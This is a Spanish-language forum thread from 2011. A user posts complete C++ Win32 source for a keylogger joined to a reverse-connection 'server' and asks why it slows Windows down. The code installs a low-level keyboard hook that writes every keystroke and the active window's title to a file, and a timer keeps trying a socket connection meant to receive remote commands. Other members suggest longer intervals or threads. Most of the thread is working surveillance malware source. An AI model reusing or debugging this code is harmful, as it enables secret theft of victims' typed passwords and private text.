Sockets, hasta aquí llegue.

Iniciado por yovaninu, 22 Agosto 2011, 20:24 PM

0 Miembros y 1 Visitante están viendo este tema.

yovaninu

Le he dado vueltas y vueltas al tema de Sockets para reescribir mi servidor en C++ (usando Visual Studio 2005) y llegue a este punto del cual me es imposible salir sin su ayuda, se que el codigo puede estar un tanto desordenado pero ruego que me entiendan  y desde ya gracias por su ayuda.

En fin posteo mi avance para que alguien que se anime a compilarlo y ver por que se dan los errores que explico a continuacion:

1. Es un proyecto normal de Win32 (Con ventana)
2. En la entrada principal al WinMain instalo el hook al teclado
3. Luego Inicializo el Socket
4. En el mensaje WM_CREATE, creo un timer cada 2 segundos
5. Al recibir el evento WM_TIMER, hago que mi timer envie la peticion cada 2 segundos. Y AL HACER ESTO, TODO WINDOWS QUEDA SEMI BLOQUEADO, LAS LETRAS TARDAN EN APARECER POR EJEMPLO EN EL BLOC DE NOTAS LAS VENTANAS DIFICILMENTE SE ARRASTRAN Y EL HOOK DEL KEYLOGGER FUNCIONA A MEDIAS AL NO LOGEAR ALGUNAS TECLAS DE LO QUE SE ESCRIBE.

PERO SI QUITO LAS LLAMADAS A LAS FUNCIONES QUE INICIALIZAN O CONECTAN EL SOCKET TODO FUNCIONA BIEN. LO QUE ME HACE PENSAR QUE ALGO VA MAL ALLI.








La idea de este codigo es un Server (Conexion Inversa) que deberia funcionar al lado de un Hook al teclado. 

Veamos:


  • Archivo->Nuevo->Proyecto->Aplicacion Win 32
  • ALT+F7->Propiedades de Configuracion->Juego de Caracteres->Multibyte


Código (cpp) [Seleccionar]


#define _WIN32_WINNT 0x0500
#define _CRT_SECURE_NO_DEPRECATE

#include <windows.h>
#include <stdlib.h>
#include <tchar.h>
#include <iostream>
#include <string>
#include <atlstr.h>
#include <stdio.h>
#include <winuser.h>
#pragma comment(lib,"ws2_32.lib")
using namespace std;



//FUNCION QUE MUESTRA EN EL TITULO LO QUE LE INDIQUEMOS, PARA FINES DE DEPURACION
void AlTitulo(char *Buffer);


//FUNCION DEL KEYLOGGER: MIRA SI LA TECLA CAPS ESTA PRESIONADA O NO
int isCapsLock(){
     if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0)   return 1;
     else   return 0; }

//CALLBACK DEL HOOK AL TECLADO
LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam);

//ALGUNAS VARIABLES PARA EL KEYLOGGER
HWND ventana; //EL HANDLE DE LA VENTANA ACTIVA
char TVentana[500]; //EL TITULO
char tp[500];
char bufferKL[5];
string HISTORY; //DONDE ACUMULAREMOS LO QUE SE ESTA DIGITANDO




//DEFINICIONES PARA NUESTRO SOCKET
WSADATA wsa;
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
int ts=-1;
int len=100;
char Buffer[1024];

//UNA FORMA DE SEPARAR LO QUE LLEGARA DESDE EL CLIENTE
void DArrival();


//FUNCIONES PARA MANIPULAR NUESTRO SOCKET

                       //INICIALIZAMOS NUESTRO SOCKET
void inicializar(){
   WSAStartup(MAKEWORD(2,2),&wsa);    
   host=gethostbyname("127.0.0.1");
   //creamos el socket
   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   
   //direccion y puerto
   direc.sin_family=AF_INET;
   direc.sin_port=htons(1234);
   direc.sin_addr = *((struct in_addr *)host->h_addr);
   memset(direc.sin_zero,0,8);
   
}
                       
                       //CONECTAMOS, NOS DEVOLVERA UN VALOR SEGUN SI SE CONECTA O NO
int conectar(){
   //Intentamos establecer la conexión hasta que lo logremos
   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
   return conex;
}

//PARA CERRAR EL SOCKET
                       void cerrar(){
closesocket(sock);
}



MSG messages; //PARA EL BUCLE DE MENSAJES DE LA APLICACION


#define TIMER_ID1 1 /*PRIMER TIMER QUE SE ENCARGARA DE LANZAR LOS INTENTOS DE CONEXION CADA 2 SEGUINDOS*/

// El nombre de la clase de la ventana principal
static TCHAR szWindowClass[] = _T("VentanaWin32");

// El texto que aparece en la ventana principal
static TCHAR szTitle[] = _T("Una ventana tipica de win32");


HINSTANCE hInst; //variable global sacar el HINSTANCE del WinMain

//El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);



UINT mt; //PARA IDENTIFICAR A NUESTRO /*PRIMER TIMER*/

//FUNCION PRINCIPAL
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
/*ENTRADA PRINCIPAL: COMIENZA LA ODISEA...*/
{

len=sizeof(struct sockaddr); //INICIAMOS LEN PARA NUESTRO SOCKET
inicializar(); //INICIALIZAMOS EL SOCKET /*SI QUITO ESTO TODO VA BIEN, SINO WINDOWS VA MUY LENTO: PERO SI LO QUITO COMO Y DONDE INICIALIZO EL SOCKET??? */

        //INSTALAMOS EL HOOK AL TECLADO
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,capturaTeclas,hInstance,0);


    //Esta estructura contiene información sobre la ventana
    WNDCLASSEX wcex;
    wcex.cbSize = sizeof(WNDCLASSEX);
    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = NULL;
    wcex.lpszClassName  = szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK));

    //registramos la clase
if (!RegisterClassEx(&wcex)) return 1;
   
    //almacenamos 'hInstance' que es un parametro de la funcion principal WinMain en una variable Global
hInst = hInstance;

    //parametros para crear la ventana  principal
HWND hWnd = CreateWindow(szWindowClass,szTitle,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT,500, 200,NULL,NULL,hInstance,NULL);

//mostramos la ventanA
    ShowWindow(hWnd,nCmdShow);
    UpdateWindow(hWnd);

   
   MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return (int) msg.wParam;
}


//funcion para procesar los mensajes de la ventana principal
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    PAINTSTRUCT ps;
    HDC hdc;
    TCHAR greeting[] = _T("Hola A todos");

    switch (message)
    {
case WM_CREATE:
               /*CREAMOS NUESTRO TIMER QUE HARA QUE EL SOCKET LANZE LA PETICION DE CONEXION CADA 2 SEGUNDOS*/
mt=SetTimer(hWnd, TIMER_ID1, 2000, 0);
break;


        //USAMOS ESTE MENSAJE EN VEZ DE UN CALLBACK
case WM_TIMER:
switch (wParam){
case TIMER_ID1: /*<--- PRIMER TIMER */

      //CADA 2 SEGUNDOS INTENTARA CONECTAR
                                                       if(ts==-1){
ts=conectar(); /*IGUAL: SI QUITO ESTO VA BIEN PERO SINO WINDOWS VA MAL*/
                                                       //Y NOS AVISARA EN EL TITULO DE LA VENTANA
AlTitulo("Intento de conexion enviada...");
}
                                                       //CUANDO LOGRE CONECTARSE...
                                                        else{
DArrival(); //LLAMAMOS A ESTA FUNCION
KillTimer(NULL,mt);

}

break;



                                //MAS ADELANTE QUIZA NECESITEMOS UN SEGUNDO TIMER
//case TIMER_ID2: //<--- Segundo Timer
//break;
}

break;



    case WM_PAINT:
       hdc = BeginPaint(hWnd, &ps); //aqui iniciamos
      //MOSTRAMOS UN SALUDO
       TextOut(hdc,5, 5,greeting, _tcslen(greeting));
        EndPaint(hWnd, &ps); //aqui terminamos
    break;


    case WM_DESTROY:
        PostQuitMessage(0);
        break;

    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
        break;
    }

    return 0;
}


/*LA FUNCION QUE DEBERIA LLAMARSE CUANDO EL SOCKET SE CONECTA*/
/*PERO ESTO YA NO SE EJECUTA O AL MENOS NO HIZE LAS PRUEBAS HASTA AQUI*/
void DArrival(){
while (len!=0){ //mientras estemos conectados
   len=recv(sock,Buffer,1023,0); //recibimos los datos que envie

if (len>0){ //si seguimos conectados
Buffer[len]=0; //le ponemos el final de cadena

AlTitulo(Buffer);


}
}
ts=-1;

}



















//DEFINICION DE LA FUNCION DEL HOOK, ESTO FUNCIONA NO HAY MUCHO QUE DECIR AQUI.
LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {

PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
DWORD Tecla = puntero->vkCode;

     //vemos si wParam es igual a WM_KEYDOWN (tecla presionada)
if (wParam == WM_KEYDOWN ||  wParam == WM_SYSKEYDOWN) {
switch (puntero->vkCode) {
case VK_RETURN: //SI PRESIONA ENTER GUARDAMOS EN EL LOG LO QUE SE HA ACUMULADO EN 'HISTORY'

HISTORY.append("\n");

{
FILE *mif=fopen("logger2.txt","a+");
fputs(HISTORY.c_str(),mif); //guardamos.
fclose(mif);
}
HISTORY="";

break;  //se presiono un enter

case VK_LMENU: HISTORY.append("[AI]"); break;  //la tecla alt
case VK_RMENU:  HISTORY.append("[AD]"); break;  //la tecla alt
case VK_BACK: HISTORY.append("[<]");    break; //la tecla retroceso
case VK_TAB: HISTORY.append("[T]");    break; //la tecla tabulador
case VK_END : HISTORY.append("[F]");    break; //la tecla fin
case VK_HOME: HISTORY.append("[I]");    break; //la tecla home
case VK_LEFT: HISTORY.append("[L]");    break; //la tecla felcha izquierda
case VK_UP: HISTORY.append("[U]");    break; //la tecla flecha arriba
case VK_RIGHT: HISTORY.append("[R]");    break; //la tecla flecha derecha
case VK_DOWN: HISTORY.append("[D]");    break; //la tecla flecha abajo
case VK_DELETE: HISTORY.append("[S]");    break; //la tecla suprimir
case VK_MULTIPLY:HISTORY.append("*");    break; //la tecla * del teclado num
case VK_ADD: HISTORY.append("+");    break; //la tecla + del teclado num
case VK_SUBTRACT:HISTORY.append("-");    break; //la tecla -
case VK_DIVIDE: HISTORY.append("/");    break; //la tecla /
case VK_DECIMAL:HISTORY.append(".");    break; //la tecla . del teclado num
case VK_CAPITAL:HISTORY.append("[CAPS]");    break; //CAPS LOCK

//registramos las teclas normales
default:
if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){
puntero->vkCode+=32;



sprintf(bufferKL,"%c",puntero->vkCode);
HISTORY.append(bufferKL);

}else{
sprintf(bufferKL,"%c",puntero->vkCode);
HISTORY.append(bufferKL);
}

}
if (Tecla==VK_SPACE){ //espacio en blanco
HISTORY.append(" ");
}



}
//GUARDAMOS CON EL TITULO DE VENTANA

if(GetForegroundWindow()!=ventana){
ventana=GetForegroundWindow();
GetWindowText(ventana,TVentana,80);
sprintf(tp,"\n[%s]\n",TVentana);
HISTORY.append(tp);
}

}
   
   //en el caso de que haya otro hook instalado, le damos el pase para que haga lo suyo
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
















/*****************FUNCIONES UTILES*************************************/
void AlTitulo(char *Buffer){
HWND ventana;
ventana=GetForegroundWindow();
SetWindowText(ventana,Buffer);

}



Resumiendo la consulta:

¿por que windows se detiene o se pone lento cuando con un timer hago que el socket de este server se conecte a su cliente?, el timer esta a 2 segundos, al sacar las llamadas a las funciones de 'inicializar' y 'conectar', todo va bien pero obviamente necesito hacer eso para poder conectarme.

Un Saludo.



ApOkAlizE

Supongo que el problema es que cada 2 segundos haces que el socket se intente conectar... no se yo de ti lo que haría es  provar que además de intentar coenctarse cada 2 segundos lo haga cada 10 por ejemplo, a ver si así va mejor...
Los virus informaticos son como las personas, hacen lo posible para destruir y hacen lo impossible para no ser destruidos... - ApOkAlizE

Khronos14

Intenta utilizar threads.

Saludos.

yovaninu

Uy! Gracias por responder, como no habia mucho interes en mi problema, el tema de sockets en C++ lo deje ahi básicamente por que estaba ocupado en otros temas.

Probare aumentando el intervalo del timer aunque sospecho que el problema seguirá, lo que tambien habia pensado es TRATAR de hacerlo con hilos, pero aquella vez cuando fui al tio google no tuve suerte con un buen ejemplo claro a cerca de hilos.

Gracias y un saludo.



Queta

"Intenta no volverte un hombre de éxito, sino volverte un hombre de valor." Albert Einstein.